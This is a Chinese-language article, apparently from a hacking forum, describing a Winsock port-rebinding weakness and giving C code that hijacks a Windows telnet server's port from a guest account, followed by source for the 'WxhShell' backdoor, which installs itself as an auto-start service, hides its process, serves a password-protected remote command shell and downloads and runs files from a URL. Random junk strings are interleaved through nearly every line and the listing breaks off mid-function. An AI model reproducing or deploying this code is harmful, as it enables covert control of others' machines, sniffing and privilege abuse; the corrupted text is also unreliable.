在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
},2-\-1 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
= O_nk8 saddr.sin_family = AF_INET;
@/lLLGrZ" W,`u5gbT saddr.sin_addr.s_addr = htonl(INADDR_ANY);
f~jx2?W u6'vzLmM bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
@CP"AYB #
jC*(ZF1B 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
GxLoNVr (ivV [ 这意味着什么?意味着可以进行如下的攻击:
82&JYx 4))u*c/, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
QUaz;kNC7 #StD]d 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
X"(!\{ySI; I--WS[ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
`4.Wdi-Si r62x*?/ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
;Z-Cn. z:^Kr"=n 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
xB68RQe) >a%NC'~rc 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
U;?%rM6 LbJtU! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
~q?IG5s*Z &vj+3<2 #include
Bg-C:Ok2' #include
=w?-R\ #include
LXVm0IOFF #include
gT<E4$I69 DWORD WINAPI ClientThread(LPVOID lpParam);
$G"PZ7 int main()
.bB_f7TH. {
{DI_i +2 WORD wVersionRequested;
;8JJ#ED DWORD ret;
D2[wv+#) WSADATA wsaData;
82~UI'f \ BOOL val;
vPR1
TMi> SOCKADDR_IN saddr;
MfJk`-%~ SOCKADDR_IN scaddr;
Y6`9:97 int err;
r9uY?M SOCKET s;
.i"v([eQ SOCKET sc;
% rdW: int caddsize;
^OI HANDLE mt;
\u2K?wC DWORD tid;
vYL{5,t {1 wVersionRequested = MAKEWORD( 2, 2 );
z<+".sD' err = WSAStartup( wVersionRequested, &wsaData );
oZ& ns!# if ( err != 0 ) {
J@oGAa%3) printf("error!WSAStartup failed!\n");
@@*-> return -1;
fg8V6FS }
6^wg'u]c saddr.sin_family = AF_INET;
9HLn_|yU ci+Pg9sS //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Q0gO1T [p$b@og/> saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
,vrdtL saddr.sin_port = htons(23);
H'<9;bD - if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3rZFN^ {
Fw+JhIVP printf("error!socket failed!\n");
hAOXOj1 return -1;
en=Z[ZIPO }
"]LNw=S val = TRUE;
HLN rI0 //SO_REUSEADDR选项就是可以实现端口重绑定的
29Kuq ;6 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
x1/Usupi {
y`E2IE2o printf("error!setsockopt failed!\n");
L(PJ9wjkD return -1;
3hmuF6y~ }
q+~z# jFX //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
FMwT4]y //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
CHdw>/5 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
NRcg~Nu )3.udx if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
6O"Vy {
'M_8U0k ret=GetLastError();
`tVBV:4\ printf("error!bind failed!\n");
7V 4iPx return -1;
a,d\<mx }
1ScfX\F= listen(s,2);
BNyDEFd while(1)
nv{ou[vQ {
L -b~# caddsize = sizeof(scaddr);
$B~a*zZ7 //接受连接请求
CUnZ}@?d sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
H5, {Z if(sc!=INVALID_SOCKET)
z Rz#0 {
8!3+Obj mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
c500:OSB if(mt==NULL)
To]WCFp6@ {
j6/ 3p|E printf("Thread Creat Failed!\n");
{AO3o<-h break;
|QAmN>7U }
8<^[xe }
zO2<Igb CloseHandle(mt);
18}L89S> }
bsr closesocket(s);
(^qcX;- WSACleanup();
r4J4|&ym return 0;
#E^ %h }
Uk S86`. DWORD WINAPI ClientThread(LPVOID lpParam)
pA4/'7nCl {
xE9^4-Px* SOCKET ss = (SOCKET)lpParam;
>/6v`
8F SOCKET sc;
7vNS@[8 unsigned char buf[4096];
T(a*d7 SOCKADDR_IN saddr;
g|"z'_ long num;
) OZDq]mV DWORD val;
p J+>qy5 DWORD ret;
A7VF
>{L./ //如果是隐藏端口应用的话,可以在此处加一些判断
T >g1!
-^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
a+A/l saddr.sin_family = AF_INET;
BR*""/3` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
eP&K]# saddr.sin_port = htons(23);
R
j(="+SPj if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
y|.wL=; {
.NCQiQ printf("error!socket failed!\n");
5c{=/}Y return -1;
++R-_oQ }
"y
"C#:5 val = 100;
mTZlrkT if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6jCg7Su] {
sFSrMI#R ret = GetLastError();
vIN6W return -1;
ovm*,La)g }
|1J "r.K if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
d>@{!c- {
m1\>v?=K ret = GetLastError();
T1n GBl\( return -1;
WVy"MD }
P/nXY if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
x ~Se-#$ {
4z#CkT printf("error!socket connect failed!\n");
?B@hCd) closesocket(sc);
9tl Fbu closesocket(ss);
QHP^1W` return -1;
gJs~kQU }
`'0opoQRe while(1)
pRMM1&H {
_[0Ugfz( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
9nM {x? //如果是嗅探内容的话,可以再此处进行内容分析和记录
"D3JdyO_S //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
S_ nTp) num = recv(ss,buf,4096,0);
A.35WGu&: if(num>0)
gxU(& send(sc,buf,num,0);
(>WV) else if(num==0)
uKpl+> break;
86R}G/>>e num = recv(sc,buf,4096,0);
q69a-5q if(num>0)
pNVao{::5 send(ss,buf,num,0);
G <Lm} else if(num==0)
xs.[]>nQN break;
&+&^Hc }
SB$~Btr closesocket(ss);
*aG0p&n} closesocket(sc);
EnwiE return 0 ;
AuO%F
YKY }
dr'6N1B@ U> q&+: + !ae@g
q' ==========================================================
hH@018+ ,wRrx& 下边附上一个代码,,WXhSHELL
yv$MQ~] Hsp|<;Yg ==========================================================
Qf=%%5+?8 jLb3{}0 #include "stdafx.h"
Xk7zXah zoUW}O #include <stdio.h>
zYls>fbp, #include <string.h>
Z>CFH9 #include <windows.h>
oL VtP #include <winsock2.h>
;=C^l #include <winsvc.h>
fC~WuG3 #include <urlmon.h>
uVp R^
Ty@&s58a #pragma comment (lib, "Ws2_32.lib")
:Bn\1\ #pragma comment (lib, "urlmon.lib")
D+ jk0*bJ ?hfosBn&[ #define MAX_USER 100 // 最大客户端连接数
T}u ' #define BUF_SOCK 200 // sock buffer
1$Eiv8xd #define KEY_BUFF 255 // 输入 buffer
'JkK0a2D .`hlw'20 #define REBOOT 0 // 重启
AiO,zjM = #define SHUTDOWN 1 // 关机
i"_f46rP b~#rUOXb8? #define DEF_PORT 5000 // 监听端口
[FC%_R&& \[,7# #define REG_LEN 16 // 注册表键长度
oiFtPki #define SVC_LEN 80 // NT服务名长度
&TK% igL 1ViDS // 从dll定义API
YVs{\1|' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
1XHGW=n typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
9oGsrClH typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
L`Qiu@ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
2<.}]yi nG8]c9\Q# // wxhshell配置信息
Crww\#E; struct WSCFG {
fF *a/\h % int ws_port; // 监听端口
@|d|orMC char ws_passstr[REG_LEN]; // 口令
9k$uo_i' int ws_autoins; // 安装标记, 1=yes 0=no
{ ET+V char ws_regname[REG_LEN]; // 注册表键名
:;7q up char ws_svcname[REG_LEN]; // 服务名
qa%g'sB-b char ws_svcdisp[SVC_LEN]; // 服务显示名
CdEJ/G: char ws_svcdesc[SVC_LEN]; // 服务描述信息
%mxG;w$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
$}HSU>,% int ws_downexe; // 下载执行标记, 1=yes 0=no
W?6RUyMC$T char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
[q(7Jv char ws_filenam[SVC_LEN]; // 下载后保存的文件名
$6Ty~.RP5H 7L]fCw
p[ };
:!r_dmJ PDGh\Y[AK, // default Wxhshell configuration
i5_gz> struct WSCFG wscfg={DEF_PORT,
d[O.UzQ "xuhuanlingzhe",
=Wl
CE_ 1,
0} {QQB "Wxhshell",
H:~LL0Md% "Wxhshell",
qbT].,?!U "WxhShell Service",
$(_i>&d< "Wrsky Windows CmdShell Service",
c\RDa|B, "Please Input Your Password: ",
1miTE4;? 1,
_N*4 3O` "
http://www.wrsky.com/wxhshell.exe",
(#
?~^ut "Wxhshell.exe"
sS+9ly{9J };
]INbRytvc )IhI~,0Nmj // 消息定义模块
Y@L`XNl char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
p\!+j@H: char *msg_ws_prompt="\n\r? for help\n\r#>";
+ 1v@L char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
KH[%HN5v char *msg_ws_ext="\n\rExit.";
{ >4exyu6 char *msg_ws_end="\n\rQuit.";
$/pd[ H[{ char *msg_ws_boot="\n\rReboot...";
IS8ppu&E char *msg_ws_poff="\n\rShutdown...";
fQe- v_K char *msg_ws_down="\n\rSave to ";
6BMRl%3>Z ) tsaDG-E char *msg_ws_err="\n\rErr!";
e`C'5`d] char *msg_ws_ok="\n\rOK!";
Bj\0RmVa1 %tpt+N? char ExeFile[MAX_PATH];
K_}vmB\2l int nUser = 0;
B04Br~hel* HANDLE handles[MAX_USER];
uK
t>6DN. int OsIsNt;
6wxQ_Qz:Q Uh&MoIBs# SERVICE_STATUS serviceStatus;
Dj %jrtT SERVICE_STATUS_HANDLE hServiceStatusHandle;
?BLd~L+ kOkgsQQ // 函数声明
o[8Y %3 int Install(void);
H!vvdp?Z int Uninstall(void);
>Y[{m $- int DownloadFile(char *sURL, SOCKET wsh);
!O $EVl int Boot(int flag);
IY :iGn8R void HideProc(void);
9i9VDk{ int GetOsVer(void);
}rOO[,?Y int Wxhshell(SOCKET wsl);
k^ID void TalkWithClient(void *cs);
3+(Fq5I int CmdShell(SOCKET sock);
sLB{R#Pt int StartFromService(void);
;pC-0m0Y int StartWxhshell(LPSTR lpCmdLine);
]Nm_<%lT JQ0KXS Nr VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
YK_a37E{F VOID WINAPI NTServiceHandler( DWORD fdwControl );
LQR9S/?Ld p+yU!Qj // 数据结构和表定义
dGHRHXi SERVICE_TABLE_ENTRY DispatchTable[] =
Ag}>gbz~G {
8)M .W {wscfg.ws_svcname, NTServiceMain},
^i@t OtS {NULL, NULL}
C}W/9_I6Uo };
f<y""0L9 ,qaIdw [ // 自我安装
-a/5 int Install(void)
D'A)H {
("IRv>} 0 char svExeFile[MAX_PATH];
*4WOmsj HKEY key;
L,\ Yj strcpy(svExeFile,ExeFile);
9[8?'`m pn'*w1i // 如果是win9x系统,修改注册表设为自启动
Y[*z6gP( if(!OsIsNt) {
8Zwq:lV Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
dG6Mo76 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Mi:$<fEX RegCloseKey(key);
ZW*"Kok if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
#d__ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*mq+w & RegCloseKey(key);
!U*i13 return 0;
J6&;pCAi }
`MEH/ }
: h-N }
:)%Vahu else {
1Te:&d X0p=jBye~> // 如果是NT以上系统,安装为系统服务
<.RgMPi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
%6*xnB? if (schSCManager!=0)
1<ZvHv {
}vp\lKP SC_HANDLE schService = CreateService
<7u*OYjA (
_
@ \ schSCManager,
!^B`7 wscfg.ws_svcname,
.4.zy]I wscfg.ws_svcdisp,
6
{5*9!v63 SERVICE_ALL_ACCESS,
Z]"ktb;+[ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
`2Ff2D^ ? SERVICE_AUTO_START,
=yvyd0|35 SERVICE_ERROR_NORMAL,
kG\+f>XQ svExeFile,
eK4\v:oG1 NULL,
fWF\V[ NULL,
Q9?/)&3Bu NULL,
@S<=Okrlj NULL,
ezy0m}@ NULL
@[.%A;E4 );
l}Jf;C*j1z if (schService!=0)
kS3wa3bT {
(<2PhJ| CloseServiceHandle(schService);
+KXg&A/^ CloseServiceHandle(schSCManager);
Q4q3M=0 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
" c}pY ^( strcat(svExeFile,wscfg.ws_svcname);
Vcc/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
StaX~J6= RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
c7P"1 RegCloseKey(key);
[%z~0\lu8 return 0;
P\N$TYeH }
+'Tr>2V }
JdFMSmZ@ CloseServiceHandle(schSCManager);
u;;]S!:M }
Hi<{c }
rEs,o3h?po 0|P RCq return 1;
,Q >u
N }
4k<4=E 5\RKT)%X // 自我卸载
pA4oy int Uninstall(void)
;lnh;0B {
ImyB4welo HKEY key;
j<wWPv KS3
/ if(!OsIsNt) {
YD7i6A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
v-_K'm RegDeleteValue(key,wscfg.ws_regname);
`R=8=6Z+$q RegCloseKey(key);
<~vamim#K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
F;5.nKo RegDeleteValue(key,wscfg.ws_regname);
}3 RqaIY} RegCloseKey(key);
= w_y<V4 return 0;
X=mzo\Aos }
+n9]c~g!T0 }
bgL`FW i3 }
u
m(A3uQ else {
FC/m,D50oI rh?!f(_@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
|j<b? if (schSCManager!=0)
uZ\ > {
N>'1<i? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
\0'o*nlJ if (schService!=0)
,/ly|Dv {
{pE")O7~P if(DeleteService(schService)!=0) {
=H3 JRRS CloseServiceHandle(schService);
v8Bi 1,g CloseServiceHandle(schSCManager);
P ;PS+S9 return 0;
R0,
Q` }
8yA: C CloseServiceHandle(schService);
Tg)Fr) }
1E=%:? d CloseServiceHandle(schSCManager);
3RZP 12x }
P%g[!9
' }
V[uB0#Lp %}x/fq return 1;
r,!7TuBl }
B&+V %~/
OjJKloy' // 从指定url下载文件
#rF|X6P int DownloadFile(char *sURL, SOCKET wsh)
rhHX0+ {
Uw)?u$+
P HRESULT hr;
o5@
l!NQ char seps[]= "/";
Q!zg=_z- char *token;
|wQ|h$| char *file;
7Ha
+@ char myURL[MAX_PATH];
(zCas}YAKI char myFILE[MAX_PATH];
:|EM1-lwf U[u9RB strcpy(myURL,sURL);
n*{e0,gp` token=strtok(myURL,seps);
CJ%bBL'. while(token!=NULL)
J`Q#p%W {
JyvXNV, file=token;
l;b5 v]~ token=strtok(NULL,seps);
@;"HslU\Q }
O}*[@uv/ xT#j-T GetCurrentDirectory(MAX_PATH,myFILE);
%j^[%&pT strcat(myFILE, "\\");
@G~T&6E! strcat(myFILE, file);
My&h{Qk send(wsh,myFILE,strlen(myFILE),0);
r8pTtf#Q send(wsh,"...",3,0);
?9i
7w1` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
sX^m1v~N| if(hr==S_OK)
RYZh"1S;k return 0;
pMHY2t else
V+W,#5 return 1;
1b-4wonQd Azxy!gDT" }
^
RU"v> "|gNNmr // 系统电源模块
bT@3fuL4 int Boot(int flag)
P"cc$lB~ I {
D"El6<3)h HANDLE hToken;
5YQ4]/h TOKEN_PRIVILEGES tkp;
<2HI. @^ q UY;CEf if(OsIsNt) {
4xjk^N9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
.-k\Q}D LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
o;7!$v>uK tkp.PrivilegeCount = 1;
LZqx6~]O tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
GE\@mu *pO AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
2v0lWO~c7z if(flag==REBOOT) {
\Se>u4~L if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
BXiuVx return 0;
JVD#wwic }
B-
N else {
_8)9I?jH if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
P#Z$+&)b)s return 0;
N5Eb.a9S }
9?:SxI;v }
-4mUGh1dy else {
ff**) Xdh if(flag==REBOOT) {
7[[XNJP if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
n9B1NM5 \ return 0;
jFZJ #'CNS }
3l0x~ else {
-5l74f!i if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
*6cP-Vzd return 0;
M\BLuD }
hR
Y*WL }
!G.)%+Z Y .Na9&-( return 1;
n{J<7I e"* }
o}mD1q0yE
"<SK=W // win9x进程隐藏模块
ExqI=k`Zs void HideProc(void)
hs}nI/# {
SWvy<f4< Cp7 EJr~ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
eNY$N_P if ( hKernel != NULL )
0.4c|-n {
&Y;z[+(P pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
r in#lu&N ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
&]iX>m. FreeLibrary(hKernel);
r3<yG"J86 }
*IJctYJaX <\|f;7/ return;
Z#IRNFj }
8
C @iD% ^|5bK_Z& // 获取操作系统版本
)s4#)E1
int GetOsVer(void)
,kfUlv= {
|tC!`.^\ OSVERSIONINFO winfo;
f7mP4[+dS winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
"15mOW(!+ GetVersionEx(&winfo);
&uI`Xq. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
_V^^%$ return 1;
3N|,c]| else
V)V\M6 return 0;
c~[L;_ }
ZP61T*n ' :lADUt // 客户端句柄模块
MYFRrcu; int Wxhshell(SOCKET wsl)
R@-rc|FunJ {
m{gx\a.5 SOCKET wsh;
% zHsh struct sockaddr_in client;
-bdF= DWORD myID;
_"6{Rb53v= :jKDM while(nUser<MAX_USER)
pi[:"}m]/P {
/xj^TyWM int nSize=sizeof(client);
SsiAyQ|Ma wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Z6\OkD if(wsh==INVALID_SOCKET) return 1;
(dv Cejc^p "l6v[yv handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
q$7WZ+Y\ if(handles[nUser]==0)
^\Gaf5{ closesocket(wsh);
48nZ
H=(Eh else
,Ua`BWF nUser++;
l'n"iQ!G }
5rK7nLb WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
1nhC! jDD 4zX@TI>j return 0;
zL$$G, }
z)I.^ T|`nw_0 // 关闭 socket
uA dgR void CloseIt(SOCKET wsh)
7'\<\oT
{
g+|1khS) closesocket(wsh);
`?{i dg nUser--;
_PZGns,u ExitThread(0);
*oqQ=#\ }
m~mw1r ,r!_4|\ // 客户端请求句柄
$e1==@
R void TalkWithClient(void *cs)
a[bu{Z]% {
42kr&UY& &[ejxK" SOCKET wsh=(SOCKET)cs;
2'UWPZgE char pwd[SVC_LEN];
Rqu_[M char cmd[KEY_BUFF];
('QfB<4H1 char chr[1];
`2Rd=M]? int i,j;
U<QO@5 :1NF#-2\f while (nUser < MAX_USER) {
Y4q; ~'k.'O{ if(wscfg.ws_passstr) {
musZCg$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{Hg.ctam //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
pLi_)(#z_ //ZeroMemory(pwd,KEY_BUFF);
#e:cB' f i=0;
C&?Z\$
-/ while(i<SVC_LEN) {
IIcG+zwx Gv?3T Am8 // 设置超时
;5QdT{$H fd_set FdRead;
H=O/w3 struct timeval TimeOut;
+Z99x# FD_ZERO(&FdRead);
da<B6! FD_SET(wsh,&FdRead);
@."_XL74 TimeOut.tv_sec=8;
PoTJ4z TimeOut.tv_usec=0;
6wK>SW)#&j int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
g93-2k, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
;G_{$)P.o CR3<9=Lv> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
DtLga[M pwd
=chr[0]; VJquB8?H
if(chr[0]==0xd || chr[0]==0xa) { %"kF i
pwd=0; w@,Yj#_9cx
break; ;cKN5#7
} nKpXRuFn\
i++; foO/Yc
} %i[G6+-
d^AXhQjQN-
// 如果是非法用户,关闭 socket \>,[5|GU
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &p|+K
XIf
} tP/0_^m
b?S,%
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x UM,"+h
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fg"]4&`j-
+P YX.
while(1) { mcbvB5U
=GH>-*qp
ZeroMemory(cmd,KEY_BUFF); SStaS<q'
2:b3+{\f
// 自动支持客户端 telnet标准 {yFCGCs
j=0; %@Mv-A6)
while(j<KEY_BUFF) { v;_m1UpuW
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R|4a9G
cmd[j]=chr[0]; /Wos{}Z0
if(chr[0]==0xa || chr[0]==0xd) { 5,Rxc=
cmd[j]=0; NL`}rj
break; 8x":7 yV&
} D XFU~J*
j++; ]=Im0s
} SLI(;, s
'YKyY:eZ
// 下载文件 J)7m::%I
if(strstr(cmd,"http://")) { rLP:kP'b
send(wsh,msg_ws_down,strlen(msg_ws_down),0); *nZe|)m
if(DownloadFile(cmd,wsh)) Wgp}v93
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \piB*"ln
else <K6gzi0fl
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8<0~j
} B8J_^kd
else { 7T7
A[A\
l=+hs
switch(cmd[0]) { aYy+iP'$
~1xfE C/
// 帮助 (x)}k&B;
case '?': { <V?csx/eRd
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @-B)a Z
break; al#BfcZW
} b3j?@31AD
// 安装 $qndG,([F
case 'i': { Vc2(R^
if(Install()) ,hO*W-a%1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;iB9\p$K)
else 4\?z^^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
DT2uUf
break; (3. B\8s
} }o9fpo|
// 卸载 ,$4f#)
case 'r': { )-jA4!&
if(Uninstall()) >oD,wSYV~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /J@<e{&t~
else Vv|%;5(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <I
5F@pe'
break; w;
rQ\gj
} &|]GTN`E
// 显示 wxhshell 所在路径 ;,WI_iP(w
case 'p': { O%Hc%EfG
char svExeFile[MAX_PATH]; Qk5pRoL_
strcpy(svExeFile,"\n\r"); 'sII/sq`(
strcat(svExeFile,ExeFile); :}B=Bk/q
send(wsh,svExeFile,strlen(svExeFile),0); +mu.W
r
break; [{&GMc
} Fy6(N{hql
// 重启 frh!dN
case 'b': { Yo-$Z-ud
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PH1jN?OEwZ
if(Boot(REBOOT)) A r=P;6J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZBY*C;[)*P
else { dp|VQWCq
closesocket(wsh); jV
'u*2&9
ExitThread(0); %tK^&rw%
} `T#Jiq E
break; 7M.TLV!f]
} A
)q=.C#e
// 关机 f)_k_ <
case 'd': { )/:j$aq
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @r130eLh
if(Boot(SHUTDOWN)) c'!+]'Lr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vb57B.I
else { XI5TVxo(q
closesocket(wsh); \Bvy~UeE)>
ExitThread(0); +|K/*VVn`
} [gkOwU=?
break; Zws[C
}
8MZ:=
// 获取shell lWyg_YO@
case 's': { 6Cpn::WW}
CmdShell(wsh); QJH((
closesocket(wsh); xo
GX&^=
ExitThread(0); 7*MjQzg-P
break; O$*\JL
} yDORL|
E'
// 退出 ?PSJQ3BC|
case 'x': { h
7/wkv\y9
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^[=1J
CloseIt(wsh); >gTQD\k:D
break; ZUd*[\F~!
} i6-&$<
// 离开 vEZd;40y
case 'q': { XS_Ib\-50
send(wsh,msg_ws_end,strlen(msg_ws_end),0); v(GT+i)|
closesocket(wsh); qX"m"ko
WSACleanup(); eZbT;
exit(1); Q2LAXTF]y
break; xXQW|#X\
} gw^X -
} E%&E<<nhZ
} rvUJK,oE
na`8ulN_
// 提示信息 Aq*,cOF+
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .a_xQ]eQ
} IKFNu9*"h
} KB`">zq$u
8(@Y@`/
return; '-2|GX_o
} Cj10?BNV)
8h{;*Wr-
// shell模块句柄 1\LK[tvh
int CmdShell(SOCKET sock) s $?u'}G3
{ )J(@e4;Rv
STARTUPINFO si; Y![//tg
ZeroMemory(&si,sizeof(si));
W*Gp0pX
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bBp('oEJu
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3f)!RKS9q
PROCESS_INFORMATION ProcessInfo; , 9"A"p*R
char cmdline[]="cmd"; sOBuJx${m
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +*=?0 \
return 0; dz"HO!9
} {^N90,!
T,uVt^.R+
// 自身启动模式 IuOQX}
int StartFromService(void) FV>xAU$
{ IWNIk9T,u
typedef struct V5up/ 6b,1
{ 3BK_$Fy
DWORD ExitStatus; FX&)~)
DWORD PebBaseAddress; p}MH LM
DWORD AffinityMask; :}+m[g
DWORD BasePriority; `XK+Y
